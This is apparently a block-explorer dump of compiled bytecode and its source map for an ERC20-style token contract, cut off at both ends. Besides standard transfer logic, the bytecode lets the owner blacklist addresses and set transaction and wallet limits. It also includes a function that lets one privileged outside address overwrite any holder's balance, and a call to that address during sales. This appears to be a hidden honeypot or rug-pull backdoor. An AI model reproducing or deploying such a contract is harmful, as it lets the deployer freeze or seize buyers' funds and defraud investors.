0908152604080832093909416825291909152205490565b34801561044657600080fd5b5061024d610455366004611657565b6106ef565b6000610467338484610ab8565b5060015b92915050565b600061047e848484610bdd565b6104d084336104cb85604051806060016040528060288152602001611a73602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906110c6565b610ab8565b5060019392505050565b6000546001600160a01b0316331461050d5760405162461bcd60e51b8152600401610504906118d9565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105585760405162461bcd60e51b8152600401610504906118d9565b601155565b6000546001600160a01b031633146105875760405162461bcd60e51b8152600401610504906118d9565b60108054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146105cf5760405162461bcd60e51b8152600401610504906118d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610467338484610bdd565b6000546001600160a01b031633146106505760405162461bcd60e51b8152600401610504906118d9565b60005b81518110156106b85760016006600084848151811061067457610674611a20565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b0816119ef565b915050610653565b5050565b600c546001600160a01b031633146106d357600080fd5b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107195760405162461bcd60e51b8152600401610504906118d9565b600f54600160a81b900460ff161561073057600080fd5b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600a546107699030908390610ab8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611674565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611674565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108a257600080fd5b505af11580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611674565b601080546001600160a01b039283166001600160a01b031991821617909155600c80548584169216919091179055600b541663f305d7194730610932816001600160a01b031660009081526002602052604090205490565b6000806109476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e39190611856565b50506010805461010160a81b61ffff60a81b1982161790915569d3c21bcecceddc9aca006011556a027b46536c66c91e9aca00601255600f805460ff60a81b1916600160a81b179055600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7b57600080fd5b505af1158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611820565b505050565b6001600160a01b038316610b1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610504565b6001600160a01b038216610b7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610504565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c415760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610504565b6001600160a01b038216610ca35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610504565b60008111610d055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610504565b600f805460ff191690556000546001600160a01b03848116911614801590610d3b57506000546001600160a01b03838116911614155b156110bb576001600160a01b03831660009081526006602052604090205460ff16158015610d8257506001600160a01b03821660009081526006602052604090205460ff16155b610d8b57600080fd5b601154811115610ddd5760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610504565b6010546001600160a01b038481169116148015610e085750600b546001600160a01b03838116911614155b8015610e2d57506001600160a01b03821660009081526005602052604090205460ff16155b15610ecd57601054600160b01b900460ff1615610e8d576001600160a01b0382166000908152600460205260409020544211610e6857600080fd5b610e7342601e61197f565b6001600160a01b0383166000908152600460205260409020555b6001600160a01b038216600090815260026020526040902054601254610eb3838361197f565b1115610ebe57600080fd5b50600f805460ff191660011790555b6010546001600160a01b038381169116148015610ef85750600b546001600160a01b03848116911614155b8015610f1d57506001600160a01b03831660009081526005602052604090205460ff16155b15610fe3574260095410610f3057600080fd5b60b460075442610f4091906119d8565b1115610f5457426007556001600855610f83565b600854610f62906001611100565b6008819055600611610f8357610f7a4261021c61197f565b60095560006008555b600c54604051631846d2f560e31b81526001600160a01b0385811660048301529091169063c23697a890602401600060405180830381600087803b158015610fca57600080fd5b505af1158015610fde573d6000803e3d6000fd5b505050505b6010546001600160a01b0383811691161480159061100f57506010546001600160a01b03848116911614155b15611047576001600160a01b03821660009081526002602052604090205460125461103a838361197f565b111561104557600080fd5b505b601054600160a01b900460ff1615801561106f57506010546001600160a01b03848116911614155b80156110845750601054600160a81b900460ff165b156110bb573060009081526002602052604090205480156110a8576110a881611166565b4780156110b8576110b8476112ef565b50505b610ab383838361132d565b600081848411156110ea5760405162461bcd60e51b81526004016105049190611884565b5060006110f784866119d8565b95945050505050565b60008061110d838561197f565b90508381101561115f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610504565b9392505050565b6010805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ae576111ae611a20565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120257600080fd5b505afa158015611216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123a9190611674565b8160018151811061124d5761124d611a20565b6001600160a01b039283166020918202929092010152600b546112739130911684610ab8565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ac90859060009086903090429060040161190e565b600060405180830381600087803b1580156112c657600080fd5b505af11580156112da573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b600f546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156106b8573d6000803e3d6000fd5b6001600160a01b03831660009081526002602052604090205461135090826114c6565b6001600160a01b038416600090815260026020526040902055600f5460ff1615156001141561144f57600080600061138d84600d54600e54611508565b6001600160a01b03881660009081526002602052604090205492955090935091506113b89084611100565b6001600160a01b0386166000908152600260205260408082209290925530815220546113e49082611100565b30600090815260026020526040902055600a5461140190836114c6565b600a556040518381526001600160a01b0380871691908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050505050565b6001600160a01b0382166000908152600260205260409020546114729082611100565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd09085815260200190565b600061115f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c6565b6000808080611522606461151c898961155d565b906115dc565b90506000611535606461151c8a8961155d565b9050600061154d826115478b866114c6565b906114c6565b9992985090965090945050505050565b60008261156c5750600061046b565b600061157883856119b9565b9050826115858583611997565b1461115f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610504565b600061115f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361163a5760405162461bcd60e51b81526004016105049190611884565b5060006110f78486611997565b803561165281611a4c565b919050565b60006020828403121561166957600080fd5b813561115f81611a4c565b60006020828403121561168657600080fd5b815161115f81611a4c565b600080604083850312156116a457600080fd5b82356116af81611a4c565b915060208301356116bf81611a4c565b809150509250929050565b6000806000606084860312156116df57600080fd5b83356116ea81611a4c565b925060208401356116fa81611a4c565b929592945050506040919091013590565b6000806040838503121561171e57600080fd5b823561172981611a4c565b946020939093013593505050565b6000602080838503121561174a57600080fd5b823567ffffffffffffffff8082111561176257600080fd5b818501915085601f83011261177657600080fd5b81358181111561178857611788611a36565b8060051b604051601f19603f830116810181811085821117156117ad576117ad611a36565b604052828152858101935084860182860187018a10156117cc57600080fd5b600095505b838610156117f6576117e281611647565b8552600195909501949386019386016117d1565b5098975050505050505050565b60006020828403121561181557600080fd5b813561115f81611a64565b60006020828403121561183257600080fd5b815161115f81611a64565b60006020828403121561184f57600080fd5b5035919050565b60008060006060848603121561186b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118b157858101830151858201604001528201611895565b818111156118c3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199257611992611a0a565b500190565b6000826119b457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119d3576119d3611a0a565b500290565b6000828210156119ea576119ea611a0a565b500390565b6000600019821415611a0357611a03611a0a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611a6157600080fd5b50565b8015158114611a6157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4bdd3abd73fb1c5ffa4813e5616ab86b793bbef29cc30923c0b363f98fce29764736f6c63430008070033

Deployed Bytecode Sourcemap

4417:10113:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6071:83;;;;;;;;;;-1:-1:-1;6141:5:0;;;;;;;;;;;;-1:-1:-1;;;6141:5:0;;;;6071:83;;;;;;;:::i;:::-;;;;;;;;6981:193;;;;;;;;;;-1:-1:-1;6981:193:0;;;;;:::i;:::-;;:::i;:::-;;;5537:14:1;;5530:22;5512:41;;5500:2;5485:18;6981:193:0;5372:187:1;14275:113:0;;;;;;;;;;-1:-1:-1;14346:15:0;;14364;-1:-1:-1;14275:113:0;;4838:30;;;;;;;;;;;;;;;;;;;9817:25:1;;;9805:2;9790:18;4838:30:0;9671:177:1;6348:100:0;;;;;;;;;;-1:-1:-1;6428:12:0;;6348:100;;7182:446;;;;;;;;;;-1:-1:-1;7182:446:0;;;;;:::i;:::-;;:::i;12782:88::-;;;;;;;;;;-1:-1:-1;12782:88:0;;;;;:::i;:::-;;:::i;:::-;;6257:83;;;;;;;;;;-1:-1:-1;6257:83:0;;5077:1;10980:36:1;;10968:2;10953:18;6257:83:0;10838:184:1;12504:93:0;;;;;;;;;;-1:-1:-1;12504:93:0;;;;;:::i;:::-;;:::i;7636:101::-;;;;;;;;;;-1:-1:-1;7636:101:0;;;;;:::i;:::-;;:::i;6456:118::-;;;;;;;;;;-1:-1:-1;6456:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;6549:17:0;6522:7;6549:17;;;:8;:17;;;;;;;6456:118;3369:148;;;;;;;;;;;;;:::i;3155:79::-;;;;;;;;;;-1:-1:-1;3193:7:0;3220:6;3155:79;;-1:-1:-1;;;;;3220:6:0;;;4110:51:1;;4098:2;4083:18;3155:79:0;3964:203:1;6162:87:0;;;;;;;;;;-1:-1:-1;6234:7:0;;;;;;;;;;;;-1:-1:-1;;;6234:7:0;;;;6162:87;;6582:199;;;;;;;;;;-1:-1:-1;6582:199:0;;;;;:::i;:::-;;:::i;4807:24::-;;;;;;;;;;;;;;;;12605:169;;;;;;;;;;-1:-1:-1;12605:169:0;;;;;:::i;:::-;;:::i;5313:24::-;;;;;;;;;;-1:-1:-1;5313:24:0;;;;-1:-1:-1;;;5313:24:0;;;;;;11293:122;;;;;;;;;;-1:-1:-1;11293:122:0;;;;;:::i;:::-;;:::i;14396:96::-;;;;;;;;;;-1:-1:-1;14469:15:0;14396:96;;6789:184;;;;;;;;;;-1:-1:-1;6789:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6938:18:0;;;6906:7;6938:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6789:184;11423:1073;;;;;;;;;;-1:-1:-1;11423:1073:0;;;;;:::i;:::-;;:::i;6981:193::-;7083:4;7105:39;668:10;7128:7;7137:6;7105:8;:39::i;:::-;-1:-1:-1;7162:4:0;6981:193;;;;;:::o;7182:446::-;7314:4;7331:36;7341:6;7349:9;7360:6;7331:9;:36::i;:::-;7378:220;7401:6;668:10;7449:138;7505:6;7449:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7449:19:0;;;;;;:11;:19;;;;;;;;668:10;7449:33;;;;;;;;;;:37;:138::i;:::-;7378:8;:220::i;:::-;-1:-1:-1;7616:4:0;7182:446;;;;;:::o;12782:88::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;12842:12:0::1;12857:5;12842:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;12842:20:0::1;::::0;;12782:88::o;12504:93::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;12567:12:::1;:22:::0;12504:93::o;7636:101::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;7706:15:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;7706:23:0::1;-1:-1:-1::0;;;;7706:23:0;;::::1;::::0;;;::::1;::::0;;7636:101::o;3369:148::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;3476:1:::1;3460:6:::0;;3439:40:::1;::::0;-1:-1:-1;;;;;3460:6:0;;::::1;::::0;3439:40:::1;::::0;3476:1;;3439:40:::1;3507:1;3490:19:::0;;-1:-1:-1;;;;;;3490:19:0::1;::::0;;3369:148::o;6582:199::-;6687:4;6709:42;668:10;6733:9;6744:6;6709:9;:42::i;12605:169::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;12681:9:::1;12676:91;12700:5;:12;12696:1;:16;12676:91;;;12751:4;12734;:14;12739:5;12745:1;12739:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12734:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12734:14:0;:21;;-1:-1:-1;;12734:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12714:3;::::1;::::0;::::1;:::i;:::-;;;;12676:91;;;;12605:169:::0;:::o;11293:122::-;11245:4;;-1:-1:-1;;;;;11245:4:0;11254:10;11237:27;11229:36;;;;;;-1:-1:-1;;;;;11378:14:0;;::::1;;::::0;;;:8:::1;:14;::::0;;;;:29;11293:122::o;11423:1073::-;3282:6;;-1:-1:-1;;;;;3282:6:0;668:10;3282:22;3274:67;;;;-1:-1:-1;;;3274:67:0;;;;;;;:::i;:::-;11499:12:::1;::::0;-1:-1:-1;;;11499:12:0;::::1;;;11498:13;11490:22;;;::::0;::::1;;11658:15;:34:::0;;-1:-1:-1;;;;;;11658:34:0::1;11594:42;11658:34:::0;;::::1;::::0;;;11753:12:::1;::::0;11703:63:::1;::::0;11720:4:::1;::::0;11594:42;;11703:8:::1;:63::i;:::-;11811:16;-1:-1:-1::0;;;;;11811:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11793:70:0::1;;11872:4;11879:16;-1:-1:-1::0;;;;;11879:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11793:110;::::0;-1:-1:-1;;;;;;11793:110:0::1;::::0;;;;;;-1:-1:-1;;;;;4402:15:1;;;11793:110:0::1;::::0;::::1;4384:34:1::0;4454:15;;4434:18;;;4427:43;4319:18;;11793:110:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11777:13;:126:::0;;-1:-1:-1;;;;;11777:126:0;;::::1;-1:-1:-1::0;;;;;;11777:126:0;;::::1;;::::0;;;11914:4:::1;:20:::0;;;;::::1;::::0;::::1;::::0;;;::::1;::::0;;11945:15:::1;::::0;::::1;:31;11984:21;12029:4;12049:24;12029:4:::0;-1:-1:-1;;;;;6549:17:0;6522:7;6549:17;;;:8;:17;;;;;;;6456:118;12049:24:::1;12088:1;12104::::0;12120:7:::1;3193::::0;3220:6;-1:-1:-1;;;;;3220:6:0;;3155:79;12120:7:::1;11945:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11945:223:0;;;-1:-1:-1;;;;;5119:15:1;;;11945:223:0::1;::::0;::::1;5101:34:1::0;5151:18;;;5144:34;;;;5194:18;;;5187:34;;;;5237:18;;;5230:34;5301:15;;;5280:19;;;5273:44;12142:15:0::1;5333:19:1::0;;;5326:35;5035:19;;11945:223:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12179:11:0::1;:18:::0;;-1:-1:-1;;;;;;;12208:22:0;;;;;;12256:24:::1;12241:12;:39:::0;12311:24:::1;12292:16;:43:::0;12347:12:::1;:19:::0;;-1:-1:-1;;;;12347:19:0::1;-1:-1:-1::0;;;12347:19:0::1;::::0;;12429:15:::1;::::0;12377:111:::1;::::0;-1:-1:-1;;;12377:111:0;;-1:-1:-1;;;;;12429:15:0;;::::1;12377:111;::::0;::::1;4655:51:1::0;-1:-1:-1;;4722:18:1;;;4715:34;12384:13:0;;;-1:-1:-1;12377:29:0::1;::::0;4628:18:1;;12377:111:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11479:1017;11423:1073:::0;:::o;7745:369::-;-1:-1:-1;;;;;7872:19:0;;7864:68;;;;-1:-1:-1;;;7864:68:0;;9468:2:1;7864:68:0;;;9450:21:1;9507:2;9487:18;;;9480:30;9546:34;9526:18;;;9519:62;-1:-1:-1;;;9597:18:1;;;9590:34;9641:19;;7864:68:0;9266:400:1;7864:68:0;-1:-1:-1;;;;;7951:21:0;;7943:68;;;;-1:-1:-1;;;7943:68:0;;7130:2:1;7943:68:0;;;7112:21:1;7169:2;7149:18;;;7142:30;7208:34;7188:18;;;7181:62;-1:-1:-1;;;7259:18:1;;;7252:32;7301:19;;7943:68:0;6928:398:1;7943:68:0;-1:-1:-1;;;;;8022:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8074:32;;9817:25:1;;;8074:32:0;;9790:18:1;8074:32:0;;;;;;;;7745:369;;;:::o;8122:2577::-;-1:-1:-1;;;;;8244:18:0;;8236:68;;;;-1:-1:-1;;;8236:68:0;;9062:2:1;8236:68:0;;;9044:21:1;9101:2;9081:18;;;9074:30;9140:34;9120:18;;;9113:62;-1:-1:-1;;;9191:18:1;;;9184:35;9236:19;;8236:68:0;8860:401:1;8236:68:0;-1:-1:-1;;;;;8323:16:0;;8315:64;;;;-1:-1:-1;;;8315:64:0;;6368:2:1;8315:64:0;;;6350:21:1;6407:2;6387:18;;;6380:30;6446:34;6426:18;;;6419:62;-1:-1:-1;;;6497:18:1;;;6490:33;6540:19;;8315:64:0;6166:399:1;8315:64:0;8407:1;8398:6;:10;8390:64;;;;-1:-1:-1;;;8390:64:0;;8652:2:1;8390:64:0;;;8634:21:1;8691:2;8671:18;;;8664:30;8730:34;8710:18;;;8703:62;-1:-1:-1;;;8781:18:1;;;8774:39;8830:19;;8390:64:0;8450:405:1;8390:64:0;8465:9;:17;;-1:-1:-1;;8465:17:0;;;-1:-1:-1;3220:6:0;-1:-1:-1;;;;;8497:15:0;;;3220:6;;8497:15;;;;:32;;-1:-1:-1;3193:7:0;3220:6;-1:-1:-1;;;;;8516:13:0;;;3220:6;;8516:13;;8497:32;8493:2151;;;-1:-1:-1;;;;;8555:10:0;;;;;;:4;:10;;;;;;;;8554:11;:24;;;;-1:-1:-1;;;;;;8570:8:0;;;;;;:4;:8;;;;;;;;8569:9;8554:24;8546:33;;;;;;8612:12;;8602:6;:22;;8594:64;;;;-1:-1:-1;;;8594:64:0;;6772:2:1;8594:64:0;;;6754:21:1;6811:2;6791:18;;;6784:30;6850:31;6830:18;;;6823:59;6899:18;;8594:64:0;6570:353:1;8594:64:0;8703:13;;-1:-1:-1;;;;;8695:21:0;;;8703:13;;8695:21;:72;;;;-1:-1:-1;8751:15:0;;-1:-1:-1;;;;;8737:30:0;;;8751:15;;8737:30;;8695:72;:116;;;;-1:-1:-1;;;;;;8789:22:0;;;;;;:18;:22;;;;;;;;8788:23;8695:116;8673:551;;;8879:15;;-1:-1:-1;;;8879:15:0;;;;8875:171;;;-1:-1:-1;;;;;8927:12:0;;;;;;:8;:12;;;;;;8942:15;-1:-1:-1;8919:39:0;;;;;;8996:30;:15;9015:10;8996:30;:::i;:::-;-1:-1:-1;;;;;8981:12:0;;;;;;:8;:12;;;;;:45;8875:171;-1:-1:-1;;;;;6549:17:0;;9064:22;6549:17;;;:8;:17;;;;;;9156:16;;9129:23;9146:6;6549:17;9129:23;:::i;:::-;:43;;9121:52;;;;;;-1:-1:-1;9192:9:0;:16;;-1:-1:-1;;9192:16:0;9204:4;9192:16;;;8673:551;9266:13;;-1:-1:-1;;;;;9260:19:0;;;9266:13;;9260:19;:72;;;;-1:-1:-1;9316:15:0;;-1:-1:-1;;;;;9300:32:0;;;9316:15;;9300:32;;9260:72;:118;;;;-1:-1:-1;;;;;;9354:24:0;;;;;;:18;:24;;;;;;;;9353:25;9260:118;9238:702;;;9439:15;9421;;:33;9413:42;;;;;;9512:11;9499:8;;9481:15;:26;;;;:::i;:::-;9480:44;9476:414;;;9560:15;9549:8;:26;9610:1;9598:9;:13;9476:414;;;9672:9;;:16;;9686:1;9672:13;:16::i;:::-;9660:9;:28;;;9728:1;-1:-1:-1;9711:160:0;;9776:31;:15;9795:11;9776:31;:::i;:::-;9758:15;:49;9846:1;9834:9;:13;9711:160;9908:4;;:16;;-1:-1:-1;;;9908:16:0;;-1:-1:-1;;;;;4128:32:1;;;9908:16:0;;;4110:51:1;9908:4:0;;;;:10;;4083:18:1;;9908:16:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9238:702;9966:13;;-1:-1:-1;;;;;9960:19:0;;;9966:13;;9960:19;;;;:44;;-1:-1:-1;9991:13:0;;-1:-1:-1;;;;;9983:21:0;;;9991:13;;9983:21;;9960:44;9956:194;;;-1:-1:-1;;;;;6549:17:0;;10025:22;6549:17;;;:8;:17;;;;;;10117:16;;10090:23;10107:6;6549:17;10090:23;:::i;:::-;:43;;10082:52;;;;;;10006:144;9956:194;10171:6;;-1:-1:-1;;;10171:6:0;;;;10170:7;:32;;;;-1:-1:-1;10189:13:0;;-1:-1:-1;;;;;10181:21:0;;;10189:13;;10181:21;;10170:32;:47;;;;-1:-1:-1;10206:11:0;;-1:-1:-1;;;10206:11:0;;;;10170:47;10166:467;;;10287:4;10238:28;6549:17;;;:8;:17;;;;;;10316:24;;10312:111;;10365:38;10382:20;10365:16;:38::i;:::-;10472:21;10516:22;;10512:106;;10563:35;10576:21;10563:12;:35::i;:::-;10219:414;;10166:467;10656:35;10674:4;10680:2;10684:6;10656:17;:35::i;1850:224::-;1970:7;2006:12;1998:6;;;;1990:29;;;;-1:-1:-1;;;1990:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2030:9:0;2042:5;2046:1;2042;:5;:::i;:::-;2030:17;1850:224;-1:-1:-1;;;;;1850:224:0:o;1519:179::-;1577:7;;1609:5;1613:1;1609;:5;:::i;:::-;1597:17;;1638:1;1633;:6;;1625:46;;;;-1:-1:-1;;;1625:46:0;;7533:2:1;1625:46:0;;;7515:21:1;7572:2;7552:18;;;7545:30;7611:29;7591:18;;;7584:57;7658:18;;1625:46:0;7331:351:1;1625:46:0;1689:1;1519:179;-1:-1:-1;;;1519:179:0:o;10707:483::-;5636:6;:13;;-1:-1:-1;;;;5636:13:0;-1:-1:-1;;;5636:13:0;;;10809:16:::1;::::0;;10823:1:::1;10809:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10809:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10809:16:0::1;10785:40;;10854:4;10836;10841:1;10836:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10836:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10880:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10880:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10836:7;;10880:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10870:4;10875:1;10870:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10870:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10945:15:::1;::::0;10913:62:::1;::::0;10930:4:::1;::::0;10945:15:::1;10963:11:::0;10913:8:::1;:62::i;:::-;10986:15;::::0;:196:::1;::::0;-1:-1:-1;;;10986:196:0;;-1:-1:-1;;;;;10986:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11067:11;;10986:15:::1;::::0;11109:4;;11136::::1;::::0;11156:15:::1;::::0;10986:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5672:6:0;:14;;-1:-1:-1;;;;5672:14:0;;;-1:-1:-1;;;;10707:483:0:o;12878:96::-;12935:14;;:31;;:14;;;;-1:-1:-1;;;;;12935:14:0;;:31;;;;;;;;;;;;:14;:31;;;;;;;;;;;;;;;;;;;12982:807;-1:-1:-1;;;;;13132:16:0;;;;;;:8;:16;;;;;;:28;;13153:6;13132:20;:28::i;:::-;-1:-1:-1;;;;;13113:16:0;;;;;;:8;:16;;;;;:47;13175:9;;;;:17;;:9;:17;13171:611;;;13228:15;13262:14;13295:15;13328:45;13347:6;13355:7;;13364:8;;13328:18;:45::i;:::-;-1:-1:-1;;;;;13410:19:0;;;;;;:8;:19;;;;;;13209:164;;-1:-1:-1;13209:164:0;;-1:-1:-1;13209:164:0;-1:-1:-1;13410:32:0;;13209:164;13410:23;:32::i;:::-;-1:-1:-1;;;;;13388:19:0;;;;;;:8;:19;;;;;;:54;;;;13500:4;13483:23;;;;:36;;13511:7;13483:27;:36::i;:::-;13474:4;13457:23;;;;:8;:23;;;;;:62;13549:12;;:24;;13566:6;13549:16;:24::i;:::-;13534:12;:39;13593:36;;9817:25:1;;;-1:-1:-1;;;;;13593:36:0;;;;;;;;;;9805:2:1;9790:18;13593:36:0;;;;;;;13194:447;;;12377:111:::1;11479:1017;11423:1073:::0;:::o;13171:611::-;-1:-1:-1;;;;;13684:19:0;;;;;;:8;:19;;;;;;:31;;13708:6;13684:23;:31::i;:::-;-1:-1:-1;;;;;13662:19:0;;;;;;;:8;:19;;;;;;;:53;;;;13735:35;;;;;;;;;;13763:6;9817:25:1;;9805:2;9790:18;;9671:177;1706:136:0;1764:7;1791:43;1795:1;1798;1791:43;;;;;;;;;;;;;;;;;:3;:43::i;13797:470::-;13971:7;;;;14065:27;14088:3;14065:18;:6;14076;14065:10;:18::i;:::-;:22;;:27::i;:::-;14050:42;-1:-1:-1;14103:13:0;14119:28;14143:3;14119:19;:6;14130:7;14119:10;:19::i;:28::-;14103:44;-1:-1:-1;14158:23:0;14184:27;14103:44;14184:16;:6;14195:4;14184:10;:16::i;:::-;:20;;:27::i;:::-;14158:53;14247:4;;-1:-1:-1;14253:5:0;;-1:-1:-1;13797:470:0;;-1:-1:-1;;;;;13797:470:0:o;2082:246::-;2140:7;2164:6;2160:47;;-1:-1:-1;2194:1:0;2187:8;;2160:47;2217:9;2229:5;2233:1;2229;:5;:::i;:::-;2217:17;-1:-1:-1;2262:1:0;2253:5;2257:1;2217:17;2253:5;:::i;:::-;:10;2245:56;;;;-1:-1:-1;;;2245:56:0;;7889:2:1;2245:56:0;;;7871:21:1;7928:2;7908:18;;;7901:30;7967:34;7947:18;;;7940:62;-1:-1:-1;;;8018:18:1;;;8011:31;8059:19;;2245:56:0;76